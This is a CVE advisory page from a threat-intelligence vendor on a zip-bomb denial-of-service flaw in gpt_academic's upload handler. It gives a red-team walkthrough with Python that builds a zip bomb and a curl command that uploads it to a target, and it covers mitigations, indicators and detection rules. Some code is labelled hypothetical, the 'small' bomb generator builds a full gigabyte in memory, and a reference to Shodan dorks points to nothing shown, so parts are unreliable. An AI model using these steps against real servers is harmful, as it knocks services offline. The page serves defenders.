CVE-2024-12387
Executive Summary
CVE-2024-12387 is a denial-of-service (DoS) vulnerability in the binary-husky/gpt_academic repository, specifically at commit 3890467. The flaw resides in the file upload handler, which fails to validate the size or structure of compressed archives before decompression. An attacker can upload a crafted zip bomb—a small archive that decompresses to an extremely large volume of data—causing the server to exhaust available memory and crash. With a CVSS score of 6.5 (Medium), this vulnerability requires no authentication and can be triggered remotely, making it a significant availability risk for any instance of gpt_academic exposed to untrusted uploads.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based open-source project (gpt_academic) distributed via GitHub. While not a package manager (PyPI/NPM) issue, the risk extends to any deployment that pulls the vulnerable commit. Organizations using containerized or orchestrated deployments (Docker, Kubernetes) should audit their images for this specific commit hash. No official patch or advisory has been released by the vendor, increasing supply chain risk for downstream consumers.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required beyond upload.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete server crash, service denial.
Threat Level: Medium. The attack is trivial to execute (upload a small file) and requires no privileges, but the impact is limited to availability. In production environments, this can cause significant downtime.
Deep Dive & Mechanics
The vulnerability exists in the file upload endpoint of gpt_academic. The application accepts compressed file uploads (e.g., ZIP) and proceeds to decompress them without any size or depth validation. A zip bomb is a specially crafted archive that exploits compression algorithms to produce a massive output from a small input. For example, a 10 KB zip bomb can decompress to several gigabytes or even terabytes of data.
The server attempts to load the decompressed content into memory (e.g., for processing or analysis). When the decompressed data exceeds available RAM, the operating system’s out-of-memory (OOM) killer terminates the process, crashing the server. This is a classic CWE-400 (Uncontrolled Resource Consumption) issue.
Attack Flow:
- Attacker crafts a zip bomb (e.g., using tools like
zipwith nested archives or42.zip). - Attacker sends a POST request to the upload endpoint with the malicious file.
- Server decompresses the archive into memory.
- Memory exhaustion triggers OOM kill, crashing the service.
Vulnerable vs. Patched Code
Vulnerable Code (commit 3890467):
The upload handler likely uses Python’s zipfile module without restrictions:
import zipfile
import os
def handle_upload(file):
with zipfile.ZipFile(file) as zf:
for info in zf.infolist():
data = zf.read(info.filename) # Reads entire file into memory
process_data(data)
Patched Code (hypothetical): A secure implementation would limit decompressed size and file count:
import zipfile
import os
MAX_SIZE = 100 * 1024 * 1024 # 100 MB
MAX_FILES = 100
def handle_upload(file):
total_size = 0
with zipfile.ZipFile(file) as zf:
if len(zf.infolist()) > MAX_FILES:
raise ValueError("Too many files")
for info in zf.infolist():
total_size += info.file_size
if total_size > MAX_SIZE:
raise ValueError("Decompressed size exceeds limit")
data = zf.read(info.filename)
process_data(data)
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A target running gpt_academic at commit 3890467.
- Network access to the upload endpoint (e.g.,
/upload).
Step 1: Create a Zip Bomb Use Python to generate a small zip bomb (e.g., 10 KB decompressing to 1 GB):
import zipfile
import io
def create_zip_bomb(output_path, target_size_gb=1):
# Create a nested zip bomb (simplified)
bomb_data = b'\x00' * (target_size_gb * 1024 * 1024 * 1024)
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('bomb.txt', bomb_data)
print(f"Zip bomb created: {output_path}")
create_zip_bomb('bomb.zip', 1)
Step 2: Upload the Bomb
curl -X POST -F "file=@bomb.zip" http://target/upload
Expected Outcome: Server crashes within seconds due to OOM.
Blue Team (Defense & Detection)
Mitigation Controls:
- Deploy a reverse proxy (Nginx) with upload size limits:
client_max_body_size 10M;
- Use a Web Application Firewall (WAF) to block known zip bomb signatures.
- Implement resource limits in the application (see patched code).
- Monitor memory usage and set alerts for spikes.
Detection:
- Monitor for large memory allocations by the gpt_academic process.
- Log file upload sizes and decompression ratios.
Indicators of Compromise (IOCs)
- Network: POST requests to
/uploadwithContent-Type: multipart/form-dataand file sizes under 100 KB but resulting in high memory usage. - File: Zip files with extreme compression ratios (e.g., 1000:1 or higher).
- System: OOM killer logs in
/var/log/kern.logordmesg:
Out of memory: Killed process 12345 (python3)
- Process: gpt_academic process consuming >90% of available RAM.
Detection Engineering
YARA Rule
rule ZipBomb_Detection {
meta:
description = "Detects zip bombs with high compression ratios"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12387"
strings:
$zip_magic = { 50 4B 03 04 } // ZIP local file header
$high_ratio = /PK\x03\x04.{18}\x00\x00/ // Uncompressed size = 0 (indicates streaming)
condition:
$zip_magic at 0 and #high_ratio > 10
}
Sigma Rule
title: Zip Bomb Upload Attempt
id: cve-2024-12387-zip-bomb
status: experimental
description: Detects upload of files with extreme compression ratios indicative of zip bombs
author: Valters IT
logsource:
category: webserver
product: nginx
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
sc-status: 200
cs-bytes: '< 100000' # Small upload size
condition: selection
falsepositives:
- Legitimate highly compressible data (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12387 Zip Bomb Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.request_body; content:"PK\x03\x04"; within:4; byte_test:4,>,100000,0,relative; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file uploads in gpt_academic until a patch is available.
- Apply resource limits using systemd or Docker:
[Service]
MemoryMax=500M
- Implement input validation in the upload handler (see patched code).
Long-Term Fix:
- Monitor the binary-husky/gpt_academic repository for an official patch.
- Upgrade to a version beyond commit 3890467 once patched.
- Consider using a sandboxed environment (e.g., Firejail) for decompression.
Workaround:
- Use a reverse proxy to limit upload size to 10 MB and reject files with suspicious headers.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.